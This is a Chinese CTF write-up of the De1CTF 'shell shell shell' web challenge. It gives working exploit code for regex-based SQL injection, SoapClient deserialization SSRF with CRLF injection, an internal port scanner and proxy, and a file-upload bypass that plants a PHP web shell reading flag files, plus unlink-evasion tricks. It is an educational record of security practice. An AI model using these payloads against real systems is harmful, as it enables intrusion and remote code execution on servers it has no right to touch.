刷题记录:[De1ctf] shell shell shell

题目复现链接:https://buuoj.cn/challenges

参考链接:De1ctf - shell shell shell记录

浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

骇极杯 2018 web3

知识量巨多的一道题,收获很多。这道题之后打算先停一停,看几本网络安全的书沉淀一下,不定时更新。

一、知识点

1、源码泄露

访问index.php~获得源码,从index.php中可以知道其他源码的位置

2、正则表达式不完善导致sql注入

正则表达如下

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

问题在于${1}占位只匹配第一个,像`1`or 1`#,后面的or 1`#就能逃逸出去,如果不清楚的话自己试验一下就知道了,然后就可以在publish界面sleep盲注出admin的密码

3、soapclient反序列化->ssrf

之前涉及过,贴个脚本

<?php
$target = 'http://e68c522a-3cdf-4910-95e7-b65a857007bc.node1.buuoj.cn/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=2e6e9';
$headers = array(
'Cookie: PHPSESSID=96c6j4ia0f33vfnnis28pa0kv6' #(未登录的cookie,便于以admin身份进行登陆)
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa); echo bin2hex($aaa);
?>

但是不知道为什么,我手动操作一直没法登陆,最后拿大佬的一键getshell脚本才登陆上去,代码见前面的参考链接

4、扫描内网

首先要知道自己所在的网段,可以查看/proc/net/fib_trie/proc/net/arp/proc/net/route

之前没见过这种情况,其实找个脚本就行了

<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; /*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if ($conn) {
fclose($conn);
return true;
}
} function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush(); } }
} echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
'; if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){ $startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
} if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1; if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
} /*内网代理代码*/ function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
} function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
} if($url != null){ $host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>

5、$file[count($file) - 1]$ext = end($file)获取后缀名方式不同

网鼎杯第二场 wafupload详解

首先没判断数组,所以很容易想到用数组绕过,拿exp来讲

男神glzjin师傅的php exp

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
)); $response = curl_exec($curl);
$err = curl_error($curl); curl_close($curl); if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}

最后得到的表单是

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="tr1ple.php"
Content-Type: false @<?php echo `find /etc -name *flag* -exec cat {} +`; ------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello" tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]" 222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]" 111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]" /../tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit" Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--

网页得到的$_POST['file']

array(3) {
[2]=>
string(3) "222"
[1]=>
string(3) "111"
[0]=>
string(16) "/../tr1ple11.php"
}

$file[count($file) - 1]获取的后缀是222,$ext = end($file)获取的后缀是/../tr1ple11.php,成功绕过

6、绕过unlink

有三种方法,前两种都是利用php获取文件和删除文件中获取路径的方式不同

简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。

但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。

  • (1)利用../跳出去

    例如上例中/../tr1ple11.php为后缀,前面接上随机文件名后tr1ple11.php依然在当前文件夹中,同时unlink()无法删除
  • (2)/.使unlink失效

新的文件名为xxx.php/.,在move_uploaded_file()处理的时候,会转化为绝对路径,成功将xxx.php保存。

但是unlink()删除失败,xxx.php就被保存了下来。

  • (3)利用php://filter/string.strip_tags/resource=/etc/passwd导致php segemnt fault

    LFI via SegmentFault

    本题中没有尝试

刷题记录:[De1ctf] shell shell shell的更多相关文章

  1. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  2. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  3. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  4. 刷题记录:[ByteCTF 2019]EZCMS

    目录 刷题记录:[ByteCTF 2019]EZCMS 一.知识点 1.源码泄露 2.MD5长度扩展攻击 3.php://filter绕过正则实现phar反序列化 刷题记录:[ByteCTF 2019 ...

  5. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  6. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

  7. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  8. PE刷题记录

    PE刷题记录 PE60 / 20%dif 这道题比较坑爹. 所有可以相连的素数可以构成一张图,建出这张图,在其中找它的大小为5的团.注意上界的估算,大概在1W以内.1W内有1229个素数,处理出这些素 ...

  9. leetcode刷题记录--js

    leetcode刷题记录 两数之和 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但 ...

随机推荐

  1. Requests库详细的用法

    介绍 对了解一些爬虫的基本理念,掌握爬虫爬取的流程有所帮助.入门之后,我们就需要学习一些更加高级的内容和工具来方便我们的爬取.那么简单介绍一下 requests 库的基本用法 安装 利用 pip 安装 ...

  2. 图说jdk1.8新特性(4)--- stream

    总述 jdk1.8引入了Stream相关的API,通过该API.可以实现流式编程,使你写代码的时候行云流水 Stream使得集合的转换变得更加简单,原来可能需要写多个for循环或者多个if判断的,直接 ...

  3. intellij IDEA github clone 指定分支代码

    1.问题描述 在实际开发中,我们通常会使用idea克隆一个新项目(clone),通常情况下,我们默认克隆的是master分支,但是如果master分支只是一个空文件夹而已,真正的代码在develop分 ...

  4. [LeetCode] 198. 打家劫舍 ☆(动态规划)

    描述 你是一个专业的小偷,计划偷窃沿街的房屋.每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警. 给定一个 ...

  5. MySQL Percona Toolkit--pt-osc与online DDL选择

    pt-osc和online ddl选择 1.如果表存在触发器,不能使用pt-osc.2.如果新增唯一索引,不建议使用pt-osc,以免数据丢失.3.修改索引.外键.列名时,优先选择使用ALGORITH ...

  6. C:\Program Files\Docker\Docker\Resources\bin\docker.exe: no matching manifest for windows/amd64 10.0.17763 in the manifest list entries.

    右击t图标→Settings 修改红框为True,应用修改即可

  7. Shell脚本编程30分钟入门(小结)(转)

    原文链接https://www.jb51.net/article/161028.htm 什么是Shell脚本 Shell脚本(英语:Shell script),又称Shell命令稿.程序化脚本,是一种 ...

  8. HTML&CSS基础-html注释功能

    HTML&CSS基础-html注释功能 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任.  一.什么是HTML(Hypertext Markup Language) 超文本标记 ...

  9. python开发总结

    1.思维缜密的编程逻辑 2.满足明确的目的需求 3.运用现成的轮子加以改造 4.学会装饰自己的程序 5.化繁为简 6.多用配置文件作为入口 7.注意扩展兼容

  10. Echo团队Alpha冲刺 - 测试随笔

    目录 测试工作的安排 测试工具选择和运用 测试用例文档 测试体会 项目测试评述 测试工作的安排 模块 测试人 测试内容 单元测试 李东权,黄少勇 测试类或者函数是否能正确处理用户请求 接口测试 林弘杰 ...